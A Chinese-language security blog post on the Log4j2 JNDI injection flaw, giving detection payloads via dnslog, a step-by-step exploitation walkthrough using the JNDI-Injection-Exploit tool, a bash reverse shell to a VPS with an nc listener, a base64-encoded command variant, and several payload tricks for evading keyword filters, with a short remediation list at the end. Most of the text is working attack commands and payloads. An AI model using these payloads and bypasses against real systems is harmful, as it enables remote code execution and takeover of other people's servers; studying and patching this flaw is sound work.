log4j2漏洞

log4j2漏洞

simple学安全 simple学安全 2024-11-26 07:52

目录

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

这个漏洞的触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。利用该漏洞涉及到JNDI(Java命名和目录接口),允许从指定的远程服务器获取并加载对象,通常利用LDAP和RMI服务。

Log4j2的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析,如果未对lookup查询服务做限制,就可能让查询指向任何服务。该漏洞正是利用这一点在{}中构造JNDI注入,向攻击者的恶意地址获取恶意的.class对象,造成远程代码执行。

漏洞发现与利用

1、漏洞发现

常用poc:

${JNDI:LDAP://xxxx.dnslog.cn/test}
${jndi:rmi://xxxx.dnslog.cn/test}

可在任意输入框、请求头字段如xff、ua中插入poc,观察dnslog网站是否有记录。

推荐BurpSuite插件:log4j2burpscanner

2、漏洞利用

1)首先需要拥有一个VPS,在VPS上构造恶意的.class对象

使用工具:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]

-C:指定需要执行的命令
-A:指定恶意.class对象所在服务器的ip,这里就是VPS的ip地址

2)这里需要执行的命令为利用bash反弹shell

bash -i >& /dev/tcp/vps_ip/port 0>&1

由于使用工具
JNDI-Injection-Exploit的-C指定命令时,特殊字符会有影响,因此对命令进行base64编码,可在如下网站快速得到编码后的语句:

https://ares-x.com/tools/runtime-exec/

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}

3)使用工具
JNDI-Injection-Exploit构造恶意.class类,并开启端口,等待存在漏洞的服务器请求

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}" -A "vps_ip"

4)在vps上开启nc监听

nc -lvp 2333

5)访问存在漏洞的网站,利用payload进行利用,比如说这里使用:

${jndi:rmi://xxx.xxx.xxx.240:1099/lv0edx}

将这个payload放在存在漏洞的位置,即可反弹shell

这里的payload在url中,进行了url编码

6)成功获得shell

绕过方法

1、多${}绕过

在处理
${}时会递归查找,并且找到${}后还会查找 :- ,存在如下关系:

${任意字符串:-想要的字符串}=想要的字符串,因此有如下绕过方法:

${${xxxx:-j}ndi:ldap://xxxxx/xxx}=${jndi:ldap://
xxxxx/x
xx}

2、使用lower和upper绕过

可以使用lower和upper来绕过关键字检测,例如jndi被限制,可以使用如下方法绕过:

$
{
${lower
:J
}
ndi:l
dap://
xxxxx/x
xx
}

3、绕过trustcodebase

trustcodebase是RMI中的一个属性,用于决定是否信任远程代码库,当为false时,将不信任远程库,导致漏洞无法利用。

可使用LDAP协议、直接利用本地类加载器、通过返回恶意类的路径而不是内容进行绕过。

修复建议

1、将Log4j升级到安全版本

2、限制不必要的LDAP和RMI请求

3、修改配置,从类路径中移除JndiLookup类